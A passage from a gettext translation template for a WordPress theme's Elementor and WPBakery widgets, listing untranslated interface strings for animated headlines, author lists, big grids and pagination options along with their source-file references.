#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:326
#: inc/js_composer/shortcodes/animated_headline/settings.php:119
msgid "HTML Tag"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:346
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:58
#: inc/elementor/modules/penci-button/widgets/penci-button.php:73
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:495
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:953
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:66
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:109
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:63
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:69
#: inc/js_composer/shortcodes/animated_headline/settings.php:135
#: inc/js_composer/shortcodes/button_popup/settings.php:31
#: inc/js_composer/shortcodes/product_tabs/settings.php:62
#: inc/js_composer/shortcodes/social_media/settings.php:27
msgid "Alignment"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:371
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:382
msgid "Rotating Text"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:393
msgid "Animate"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:396
msgid "Beauty"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:399
msgid "Effects"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:410
#: inc/js_composer/shortcodes/animated_headline/settings.php:147
msgid "Normal Text"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:426
msgid "Normal Color Style"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:431
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:523
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:610
msgid "Gradient"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:439
#: inc/js_composer/shortcodes/animated_headline/settings.php:173
msgid "Normal Text Color"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:449
#: inc/js_composer/shortcodes/animated_headline/settings.php:179
msgid "Normal Text Hover Color"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:469
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:562
msgid "Text Gradient Color"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:490
msgid "Text Gradient Hover Color"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:518
msgid "Animated Text Style"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:584
msgid "Text Hover Gradient Color"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:596
msgid "Highlight"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:605
msgid "Animated Color Style"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:628
msgid "Gradient Color 1"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:638
msgid "Gradient Color 2"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:648
msgid "Rounded Edges"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:659
msgid "Override to Text"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:695
#: inc/js_composer/shortcodes/animated_headline/settings.php:251
msgid "Cursor Color"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:704
#: inc/js_composer/shortcodes/animated_headline/settings.php:257
msgid "Delete Block Font Color"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:713
#: inc/js_composer/shortcodes/animated_headline/settings.php:263
msgid "Delete Block Background"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:766
#: inc/js_composer/shortcodes/animated_headline/settings.php:282
msgid "Clip Color"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:23
msgid " Author List"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:57
msgid "Select User Roles"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:65
msgid "Exclude User IDs:"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:70
msgid "Hide user avatar?"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:75
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:557
msgid "Avatar Image Size"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:81
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:565
msgid "Avatar Image Border Radius"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:89
msgid "Hide user posts count?"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:103
msgid "Spacing Between Authors"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:115
#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:128
msgid "Divider Border Color"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:124
#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:140
msgid "Author Name Typography"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:129
#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:148
#: inc/js_composer/shortcodes/testimonails/settings.php:336
msgid "Name Color"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:136
#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:158
msgid "Name Hover Color"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:143
msgid "Name Spacing"
msgstr ""

#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:156
msgid "Post Count Typography"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:25
msgid " Big Grid"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:54
#: inc/js_composer/shortcodes/big_grid/settings.php:16
msgid "Query Type:"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:58
msgid "Based Posts"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:64
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:970
#: inc/js_composer/shortcodes/big_grid/settings.php:666
msgid "Big Grid Style"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:68
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:142
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:364
#: inc/js_composer/shortcodes/big_grid/settings.php:40
msgid "Grid ( Default )"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:69
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:143
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:54
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:365
#: inc/gutenberg/block/portfolio/index.js:39
#: inc/js_composer/shortcodes/big_grid/settings.php:41
msgid "Masonry"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:88
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:162
#: inc/js_composer/shortcodes/big_grid/settings.php:60
msgid "Style 21"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:89
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:163
#: inc/js_composer/shortcodes/big_grid/settings.php:61
msgid "Style 22"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:94
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:168
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:388
#: inc/js_composer/shortcodes/big_grid/settings.php:68
msgid "Grid/Masonry Style Columns"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:109
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:183
#: inc/js_composer/shortcodes/big_grid/settings.php:83
msgid "Grid/Masonry Style Columns on Tablet"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:123
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:197
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:405
#: inc/js_composer/shortcodes/big_grid/settings.php:97
msgid "Grid/Masonry Style Columns on Mobile"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:135
#: inc/js_composer/shortcodes/big_grid/settings.php:109
msgid "Showing Post Data"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:144
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:209
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:377
#: inc/js_composer/params/post_metas/register.php:17
#: inc/js_composer/shortcodes/big_grid/settings.php:115
#: inc/js_composer/shortcodes/small_list/settings.php:263
#: inc/widgets/comments.php:27 inc/widgets/comments.php:29
msgid "Comments"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:145
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:210
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:378
#: inc/js_composer/shortcodes/big_grid/settings.php:116
#: inc/js_composer/shortcodes/small_list/settings.php:267
msgid "Views"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:146
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:211
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:379
#: inc/js_composer/shortcodes/big_grid/settings.php:117
#: inc/js_composer/shortcodes/small_list/settings.php:271
msgid "Reading Time"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:147
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1491
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:854
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:920
#: inc/template-builder/archive-elements/posts.php:929
msgid "Post Excerpt"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:163
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:218
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:384
#: inc/js_composer/shortcodes/big_grid/settings.php:132
#: inc/js_composer/shortcodes/small_list/settings.php:282
msgid "Show Primary Category Only"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:165
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:220
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:386
msgid ""
"If you using Yoast SEO or Rank Math plugin, this option will show only the "
"primary category from those plugins. If you don't use those plugins, it will "
"show the first category in the list categories of the posts."
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:174
#: inc/js_composer/shortcodes/big_grid/settings.php:142
msgid "Hide Post Categories on Small Grid Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:187
#: inc/js_composer/shortcodes/big_grid/settings.php:152
msgid "Hide Post Meta( Author, Date.. ) on Small Grid Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:200
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:234
#: inc/js_composer/shortcodes/big_grid/settings.php:230
msgid "Hide Only Post Excerpt on Small Grid Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:213
#: inc/js_composer/shortcodes/big_grid/settings.php:162
msgid "Hide Post Categories/Sub Title on Mobile"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:222
msgid "Hide All Post Meta/Description on Mobile"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:231
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:634
#: inc/js_composer/shortcodes/small_list/settings.php:455
msgid "Hide Post Excerpt on Mobile"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:251
#: inc/js_composer/shortcodes/big_grid/settings.php:182
msgid "Show Read More Button"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:261
#: inc/js_composer/shortcodes/big_grid/settings.php:193
msgid "Hide Read More Button on Small Grid Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:275
#: inc/js_composer/shortcodes/big_grid/settings.php:204
msgid "Hide Read More Button on Mobile"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:300
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:474
#: inc/js_composer/shortcodes/big_grid/settings.php:215
#: inc/js_composer/shortcodes/small_list/settings.php:336
msgid "Show Post Format Icons"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:312
#: inc/js_composer/shortcodes/big_grid/settings.php:239
msgid "Post Format Icon Position"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:326
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:274
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:483
#: inc/js_composer/shortcodes/big_grid/settings.php:253
#: inc/js_composer/shortcodes/small_list/settings.php:346
msgid "Show Review Scores from Penci Review plugin"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:338
#: inc/js_composer/shortcodes/big_grid/settings.php:263
msgid "Review Scores Position"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:352
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:326
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:441
#: inc/js_composer/shortcodes/big_grid/settings.php:277
msgid "Display One Column on Mobile?"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:364
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:338
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:455
#: inc/js_composer/shortcodes/big_grid/settings.php:286
msgid "Display Grid Items Same Height on Mobile?"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:377
#: inc/js_composer/shortcodes/big_grid/settings.php:295
msgid "Big Grid Content Position"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:381
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:355
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:63
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:474
#: inc/js_composer/shortcodes/big_grid/settings.php:297
msgid "On Image"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:382
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:356
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:61
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:475
#: inc/js_composer/shortcodes/big_grid/settings.php:298
msgid "Below Image"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:383
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:357
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:62
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:476
#: inc/js_composer/shortcodes/big_grid/settings.php:299
msgid "Above Image"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:389
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:363
msgid "Gap Between Grid & Mansonry Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:401
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:375
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:83
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:484
#: inc/js_composer/shortcodes/big_grid/settings.php:313
msgid "Gap Between Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:411
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:385
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:498
#: inc/js_composer/shortcodes/big_grid/settings.php:320
msgid "Adjust Ratio of Images( Unit % )"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:422
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:396
msgid "Custom Border Radius for Images"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:431
#: inc/js_composer/shortcodes/big_grid/settings.php:326
msgid "Custom Big Grid Height (Unit is px)"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:441
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:415
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:134
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:523
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:489
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:319
#: inc/js_composer/shortcodes/big_grid/settings.php:332
#: inc/js_composer/shortcodes/small_list/settings.php:184
msgid "Disable Lazyload Images?"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:450
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1637
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:424
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1091
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1079
#: inc/js_composer/shortcodes/big_grid/settings.php:1243
#: inc/js_composer/soledad_vc.php:831
msgid "Page Navigation"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:457
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:430
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:230
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:184
#: inc/gutenberg/block/latest-posts/index.js:97
#: inc/js_composer/shortcodes/big_grid/settings.php:341
#: inc/js_composer/shortcodes/small_list/settings.php:43
#: inc/js_composer/soledad_vc.php:837
#: inc/template-builder/archive-elements/posts.php:219
msgid "Page Navigation Style"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:462
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:435
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:235
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:189
#: inc/js_composer/shortcodes/small_list/settings.php:47
msgid "Ajax Next/Previous"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:463
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:234
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:190
#: inc/gutenberg/block/latest-posts/index.js:65
#: inc/js_composer/shortcodes/big_grid/settings.php:345
#: inc/js_composer/shortcodes/small_list/settings.php:48
#: inc/template-builder/archive-elements/posts.php:223
msgid "Page Navigation Numbers"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:464
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:191
#: inc/js_composer/shortcodes/big_grid/settings.php:346
#: inc/js_composer/shortcodes/small_list/settings.php:49
msgid "Load More Posts Button"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:465
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:437
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:237
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:192
#: inc/gutenberg/block/latest-posts/index.js:67
#: inc/js_composer/shortcodes/big_grid/settings.php:347
#: inc/js_composer/shortcodes/small_list/settings.php:50
#: inc/template-builder/archive-elements/posts.php:225
msgid "Infinite Scroll"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:467
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:194
#: inc/js_composer/shortcodes/big_grid/settings.php:342
msgid "Load More Posts Button & Infinite Scroll just works on frontend only."
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:472
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:443
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:199
#: inc/js_composer/shortcodes/big_grid/settings.php:356
#: inc/js_composer/shortcodes/small_list/settings.php:122
msgid "Page Navigation Align"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:484
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:455
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:250
#: inc/js_composer/shortcodes/big_grid/settings.php:368
#: inc/js_composer/soledad_vc.php:859
#: inc/template-builder/archive-elements/posts.php:243
msgid "Margin Top for Page Navigation"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:496
#: inc/js_composer/shortcodes/big_grid/settings.php:381
#: inc/js_composer/shortcodes/big_grid/settings.php:390
msgid "Custom Grid Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:506
#: inc/js_composer/shortcodes/big_grid/settings.php:448
msgid "Select Image"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:512
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:514
#: inc/js_composer/shortcodes/big_grid/settings.php:453
msgid "Sub title"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:526
#: inc/js_composer/shortcodes/big_grid/settings.php:463
msgid "Add Link for Title & Image"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:532
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:215
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:60
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:972
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:379
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:385
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:590
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:609
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:319
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1061
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:75
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:429
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:227
#: inc/js_composer/shortcodes/big_grid/settings.php:468
#: inc/js_composer/shortcodes/custom_sliders/settings.php:62
#: inc/js_composer/shortcodes/custom_sliders/settings.php:425
#: inc/js_composer/shortcodes/team_member/settings.php:227
#: inc/js_composer/shortcodes/testimonails/settings.php:277
#: inc/woocommerce/woocommerce.php:93
msgid "Description"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:534
msgid "I am demo text - click edit button to change me."
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:555
msgid ""
"Custom Overlay Background for This Item. It will only affect this item only. "
"To adjust the style for all items, check options on the Style tab at the top."
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:562
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1124
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:648
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:675
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:794
#: inc/template-builder/single-elements/featured-overlay.php:682
msgid "Overlay Background"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:574
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:489
msgid ""
"Set custom style that will only affect this item only. To adjust the style "
"for all items, check options on the \"Style\" tab at the top."
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:578
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:312
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:825
#: inc/js_composer/shortcodes/big_grid/settings.php:494
#: inc/js_composer/shortcodes/custom_sliders/settings.php:107
msgid "Horizontal Position"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:614
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:351
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:849
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:192
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:521
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:978
#: inc/js_composer/shortcodes/custom_sliders/settings.php:118
msgid "Vertical Position"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:623
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1018
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:542
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:360
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:859
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:169
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:202
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:532
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:988
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:667
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:153
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:142
#: inc/js_composer/shortcodes/big_grid/settings.php:511
#: inc/js_composer/shortcodes/big_grid/settings.php:690
#: inc/js_composer/shortcodes/custom_sliders/settings.php:122
msgid "Middle"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:681
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:526
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:553
#: inc/js_composer/shortcodes/big_grid/settings.php:534
msgid "Sub Title Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:733
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:617
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:577
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:435
#: inc/js_composer/shortcodes/big_grid/settings.php:558
#: inc/js_composer/shortcodes/testimonails/settings.php:417
msgid "Description Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:782
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:596
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:446
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:406
#: inc/js_composer/shortcodes/big_grid/settings.php:582
#: inc/js_composer/shortcodes/custom_sliders/settings.php:604
#: inc/js_composer/shortcodes/custom_sliders/settings.php:718
msgid "Button Border Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:798
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:626
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:476
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:436
#: inc/js_composer/shortcodes/big_grid/settings.php:590
#: inc/js_composer/shortcodes/custom_sliders/settings.php:625
#: inc/js_composer/shortcodes/custom_sliders/settings.php:739
msgid "Button Border Hover Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:846
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1087
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:611
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:747
#: inc/js_composer/shortcodes/big_grid/settings.php:614
#: inc/js_composer/shortcodes/big_grid/settings.php:729
msgid "Content Text Padding"
msgstr ""

